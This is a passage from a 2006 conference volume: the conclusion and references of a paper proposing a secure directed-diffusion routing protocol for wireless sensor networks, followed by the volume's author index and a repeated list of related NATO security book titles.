When the base station or any node in the network sends a negative reinforcement, the upstream node which receives this negative reinforcement, processes only after comparing the same information from all its neighbors. The node which received the negative reinforcement information will forward the negative reinforcement to the upstream node only after receiving the negative reinforcement information from at least from two neighbors. The computation overhead caused by this type of attack is minimal and moreover this overhead occurs only when there is a negative reinforcement passed by some nodes in the network. The negative reinforcement is not a frequent occurence in a sensor network.

CURRENT CONSUMPTION IN mA

NEGATIVE REINFORCEMENT OVERHEADS 35 30 25 20 15 10 5 0

0

10

20

30

40

50

NUMBER OF NODES

Figure 11. Negative Reinforcement overhead

60

202

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

7. Conclusions In this paper, we have proposed a secure routing mechanism for sensor networks based on directed diffusion. Our simulation results show that the storage space required increases with the increase in the number of nodes in the network. When compared to the LEAP algorithm, our algorithm requires less memory space since our algorithm uses only three types of keys. In the case of negative reinforcement, our proposed algorithm differs little from directed diffusion. The density of the network determines the storage space required for each node; if there are more neighbors for a node then the node has to store more keys, thus increasing the memory requirement. Each packet contains the information about remaining battery power information and the RSSI value of a node. Therefore although there are overheads associated with our approach, including larger packet size, they are minimal while providing security. Our proposed algorithm can be used for applications which require message authentication and message confidentiality. We have assumed that the network is static; the proposed approach needs to be improved to handle mobile nodes. In directed diffusion a node transmits the interest information even to the node which originally sent it. This work can be extended by analyzing the duplicate interest problem and providing a solution. The packet size is also an important factor in determining the efficiency of our algorithm. Further work can be done to reduce the size of the packets.

References [1]

Karlof, C. and D. Wagner (2003). "Secure Routing in Wireless Sensor Networks: Attacks and Countermeasures." AdHoc Networks Journal, Special Issue on Sensor Network Applications and Protocols Volume: 1, Issue 1, Page: 293--315. [2] Asada, G., T. Dong, et al. (1998). "Wireless integrated network sensors: Low power systems on a chip." Proc. 24th IEEE European Solid-State Circuits Conference Page: 9-18. [3] Hill, J., R. Szewczyk, et al. (2000). "System Architecture Directions for Networked Sensors." Proceedings of the ninth international conference on Architectural support for programming languages and operating systems Page: 93-104. [4] D. Braginsky and D. Estrin, "Rumor Routing Algorithm for Sensor Networks," in the Proceedings of the First Workshop on Sensor Networks and Applications (WSNA), Atlanta, GA, October 2002. [5] Intanagonwiwat, C., R. Govindan, et al. (2003). "Directed Diffusion for Wireless Sensor Networking." Proceedings of the 1st ACM international workshop on wireless sensor networks and applications, Page: 216. [6] Y. Xu, J. Heidemann, and D. Estrin, "Geography-informed energy conservation for ad hoc routing," in the Proceedings of the 7th Annual ACM/IEEE International Conference on Mobile Computing and Networking (MobiCom’01), Rome, Italy, July 2001. [7] B. Karp and H. T. Kung, “GPSR: Greedy perimeter stateless routing for wireless sensor networks,” in the Proceedings of the 6th Annual ACM/IEEE International Conference on Mobile Computing and Networking (MobiCom '00), Boston, MA, August 2000. [8] TinyOS, http://sourceforge.net/projects/tinyos/ (last accessed March 31, 2006) [9] Karlof, C., N. Sastry, et al. (2004). "TinySec: A Link Layer Security Architecture for Wireless Sensor Networks." Proceedings of the 2nd ACM International workshop on wireless sensor networks and applications, Page: 22-29. [10] Perrig, A., R. Szewczyk, et al. (2001). "SPINS: Security Protocols for Sensor Networks." Proceedings of Seventh Annual International Conference on Mobile Computing and Networks MOBICOM 2001, Page: 189-199.

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

203

[11] Zhu, S., S. Setia, et al. (2003). "LEAP: efficient security mechanisms for large-scale distributed sensor networks." Proceedings of the 2nd ACM International workshop on wireless sensor networks and applications, Page: 62-72. [12] Zhang, T., S. Pande, et al. (2002). "Tamper Resistance a Cautionary Note." Proceedings of the 2003 ACM SIGPLAN conference on Language, compiler, and tool for embedded systems Volume 6, Issue 3, Page: 209219. [13] Hightower, J., R. Want, et al. (2000). "SpotON: An Indoor 3D Location Sensing Technology Based on RF Signal Strength." Proceedings of Sixth Annual International Conference on Mobile Computing and Network, Page: 1-13. [14] Pethe, A. G., G. Krishnakumar, et al. (2004). "Rank Based Localization Protocol for Sensor Networks." Proceedings of 8th Annual International Conference on Mobile Computing and Network, Page: 1-18. [15] Crossbow Technology www.xbow.com [16] Welsh, V.S. (2004), “Simulating the power consumption of large-scale sensor network applications”. Proceedings of the 2nd international conference on Embedded networked sensor systems, Page: 188-200. [17] TinyOS Documentation http://tinyos.net/tinyos-1.x/doc/ (last accessed March 31, 2006)

This page intentionally left blank

205

Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.

Author Index Abraham, A. Alaoui, S. Baiardi, F. Bella, G. Bennouna, M. Bertino, E. Bistarelli, S. Carminati, B. Cherrat, L. Chung, J.-Y. Essaaidi, M. Ezziyyani, M. Ferrari, E. Gritzalis, D. Hlimi, M. Kumar, V. Lan, B.C.W.

183 168 33 3 127 48 3 84 127 69 v, 127 127 48, 84 15 127 183 69

Lyhyaoui, A. Lyhyaoui, Y. Martinelli, F. Massacci, F. Natkin, S. Nitschke, Ł. Paprzycki, M. Ren, M. Ricci, L. Rosso, P. Shakeri, S. Squicciarini, A.C. Telmon, C. Thomas, J.P. Tsoumas, B. Yang, S.J.H.

168 168 33 3 168 102 102 102 33 155 155 48 33 v, 183 15 69

This page intentionally left blank

This page intentionally left blank

This page intentionally left blank

Security and Embedded Systems: Volume 2 NATO Security through Science Series: Information and Communication Security (Nato Security Through Science)

Quantum Communication and Security (NATO Science for Peace and Security Series: Information and Communication Security) (NATO Security Through Science Series. D: Information and Com)

Advances in Sensing with Security Applications (NATO Security through Science Series NATO Security through Science Series A: Chemistry and Biology) (NATO ... Security Series A: Chemistry and Biology)

Invisible Threats: Financial and Information Technology Crimes and National Security, Volume 10 NATO Security through Science Series: Human and Societal Dynamics (Nato Security Through Science)

Understanding and Responding to Terrorism: Volume 19 NATO Security through Science Series: Human and Societal Dynamics (Nato Security Through Science)

Advances and Challenges in Multisensor Data and Information Processing - Volume 8 NATO Security through Science Series: Information and Communication Security ... D: Sinformation and Communication Security)

Physics and Theoretical Computer Science: From Numbers and Languages to (Quantum) Cryptography - Volume 7 NATO Security through Science Series: Information ... - Information and Communication Security)

Kondratieff Waves, Warfare and World Security: Volume 5 NATO Security through Science Series: Human and Societal Dynamics (Nato Security Through Science)

Equidosimetry: Ecological Standardization and Equidosimetry for Radioecology and Environmental Ecology (NATO Security through Science Series NATO Security ... Security Series C: Environmental Security)

Harbour Protection Through Data Fusion Technologies (NATO Science for Peace and Security Series C: Environmental Security)

Environmental Security and Public Safety (NATO Science for Peace and Security Series C: Environmental Security)

Energy and Environmental Challenges to Security (NATO Science for Peace and Security Series C: Environmental Security)

Combinatorial Optimization: Methods and Applications: Volume 31 NATO Science for Peace and Security Series - D: Information and Communication Security

Language Engineering for Lesser-Studied Languages - Volume 21 NATO Science for Peace and Security Series - D: Information and Communication Security (Nato ... and Communications Security- Vol. 20)

The Media: The Terrorists' Battlefield - Volume 17 NATO Security through Science Series: Human and Societal Dynamics (Nato Security Through Science Series E: Human and Societal Dynamics)

Computer and information security handbook

Mini-Micro Fuel Cells: Fundamentals and Applications (NATO Science for Peace and Security Series C: Environmental Security) (NATO Science for Peace and Security Series C: Environmental Security)

Addressing Global Environmental Security Through Innovative Educational Curricula (NATO Science for Peace and Security Series C: Environmental Security)

Information Security

Tangled Roots: Social and Psychological Factors in the Genesis of Terrorism, Volume 11 NATO Security through Science Series: Human and Societal Dynamics (Nato Security Through Science)

Complexity and Security (Nato Science for Peace and Series) (Nato Science for Peace and Series)

Novel Biotechnologies for Biocontrol Agent Enhancement and Management (NATO Security through Science Series NATO Security through Science Series A: Chemistry and Biology)

Security and Embedded Systems: Volume 2 NATO Security through Science Series: Information and Communication Security (Nato Security Through Science)

Quantum Communication and Security (NATO Science for Peace and Security Series: Information and Communication Security) (NATO Security Through Science Series. D: Information and Com)

Advances in Sensing with Security Applications (NATO Security through Science Series NATO Security through Science Series A: Chemistry and Biology) (NATO ... Security Series A: Chemistry and Biology)

Invisible Threats: Financial and Information Technology Crimes and National Security, Volume 10 NATO Security through Science Series: Human and Societal Dynamics (Nato Security Through Science)

Understanding and Responding to Terrorism: Volume 19 NATO Security through Science Series: Human and Societal Dynamics (Nato Security Through Science)

Advances and Challenges in Multisensor Data and Information Processing - Volume 8 NATO Security through Science Series: Information and Communication Security ... D: Sinformation and Communication Security)

Physics and Theoretical Computer Science: From Numbers and Languages to (Quantum) Cryptography - Volume 7 NATO Security through Science Series: Information ... - Information and Communication Security)

Kondratieff Waves, Warfare and World Security: Volume 5 NATO Security through Science Series: Human and Societal Dynamics (Nato Security Through Science)

Equidosimetry: Ecological Standardization and Equidosimetry for Radioecology and Environmental Ecology (NATO Security through Science Series NATO Security ... Security Series C: Environmental Security)

Harbour Protection Through Data Fusion Technologies (NATO Science for Peace and Security Series C: Environmental Security)

Environmental Security and Public Safety (NATO Science for Peace and Security Series C: Environmental Security)

Energy and Environmental Challenges to Security (NATO Science for Peace and Security Series C: Environmental Security)

Combinatorial Optimization: Methods and Applications: Volume 31 NATO Science for Peace and Security Series - D: Information and Communication Security

Language Engineering for Lesser-Studied Languages - Volume 21 NATO Science for Peace and Security Series - D: Information and Communication Security (Nato ... and Communications Security- Vol. 20)

The Media: The Terrorists' Battlefield - Volume 17 NATO Security through Science Series: Human and Societal Dynamics (Nato Security Through Science Series E: Human and Societal Dynamics)

Computer and information security handbook

Energy Options Impact on Regional Security (NATO Science for Peace and Security Series C: Environmental Security)

Geographic Uncertainty in Environmental Security (NATO Science for Peace and Security Series C: Environmental Security)

Boolean Functions in Cryptology and Information Security (Nato Science for Peace and Security)

Mini-Micro Fuel Cells: Fundamentals and Applications (NATO Science for Peace and Security Series C: Environmental Security) (NATO Science for Peace and Security Series C: Environmental Security)

Computer and information security handbook

Computer and information security handbook

Information Security

Addressing Global Environmental Security Through Innovative Educational Curricula (NATO Science for Peace and Security Series C: Environmental Security)

Information Security

Tangled Roots: Social and Psychological Factors in the Genesis of Terrorism, Volume 11 NATO Security through Science Series: Human and Societal Dynamics (Nato Security Through Science)

Complexity and Security (Nato Science for Peace and Series) (Nato Science for Peace and Series)

Novel Biotechnologies for Biocontrol Agent Enhancement and Management (NATO Security through Science Series NATO Security through Science Series A: Chemistry and Biology)

Information and Communications Security

Computer Security: Art and Science

Information Assurance and Computer Security, Volume 6 NATO Security through Science Series: Information and Communication Security (Nato Security Through Science)

Information Assurance and Computer Security, Volume 6 NATO Security through Science Series: Information and Communication Security (Nato Security Through Science)

Security and Embedded Systems: Volume 2 NATO Security through Science Series: Information and Communication Security (Nato Security Through Science)

Quantum Communication and Security (NATO Science for Peace and Security Series: Information and Communication Security) (NATO Security Through Science Series. D: Information and Com)

Advances in Sensing with Security Applications (NATO Security through Science Series NATO Security through Science Series A: Chemistry and Biology) (NATO ... Security Series A: Chemistry and Biology)

Invisible Threats: Financial and Information Technology Crimes and National Security, Volume 10 NATO Security through Science Series: Human and Societal Dynamics (Nato Security Through Science)

Understanding and Responding to Terrorism: Volume 19 NATO Security through Science Series: Human and Societal Dynamics (Nato Security Through Science)

Advances and Challenges in Multisensor Data and Information Processing - Volume 8 NATO Security through Science Series: Information and Communication Security ... D: Sinformation and Communication Security)

Physics and Theoretical Computer Science: From Numbers and Languages to (Quantum) Cryptography - Volume 7 NATO Security through Science Series: Information ... - Information and Communication Security)

Kondratieff Waves, Warfare and World Security: Volume 5 NATO Security through Science Series: Human and Societal Dynamics (Nato Security Through Science)

Equidosimetry: Ecological Standardization and Equidosimetry for Radioecology and Environmental Ecology (NATO Security through Science Series NATO Security ... Security Series C: Environmental Security)

Harbour Protection Through Data Fusion Technologies (NATO Science for Peace and Security Series C: Environmental Security)

Environmental Security and Public Safety (NATO Science for Peace and Security Series C: Environmental Security)

Energy and Environmental Challenges to Security (NATO Science for Peace and Security Series C: Environmental Security)

Combinatorial Optimization: Methods and Applications: Volume 31 NATO Science for Peace and Security Series - D: Information and Communication Security

Language Engineering for Lesser-Studied Languages - Volume 21 NATO Science for Peace and Security Series - D: Information and Communication Security (Nato ... and Communications Security- Vol. 20)

The Media: The Terrorists' Battlefield - Volume 17 NATO Security through Science Series: Human and Societal Dynamics (Nato Security Through Science Series E: Human and Societal Dynamics)

Computer and information security handbook

Energy Options Impact on Regional Security (NATO Science for Peace and Security Series C: Environmental Security)

Geographic Uncertainty in Environmental Security (NATO Science for Peace and Security Series C: Environmental Security)

Boolean Functions in Cryptology and Information Security (Nato Science for Peace and Security)

Mini-Micro Fuel Cells: Fundamentals and Applications (NATO Science for Peace and Security Series C: Environmental Security) (NATO Science for Peace and Security Series C: Environmental Security)

Computer and information security handbook

Computer and information security handbook

Information Security

Addressing Global Environmental Security Through Innovative Educational Curricula (NATO Science for Peace and Security Series C: Environmental Security)

Information Security

Tangled Roots: Social and Psychological Factors in the Genesis of Terrorism, Volume 11 NATO Security through Science Series: Human and Societal Dynamics (Nato Security Through Science)

Complexity and Security (Nato Science for Peace and Series) (Nato Science for Peace and Series)

Novel Biotechnologies for Biocontrol Agent Enhancement and Management (NATO Security through Science Series NATO Security through Science Series A: Chemistry and Biology)

Information and Communications Security

Computer Security: Art and Science

Recommend Documents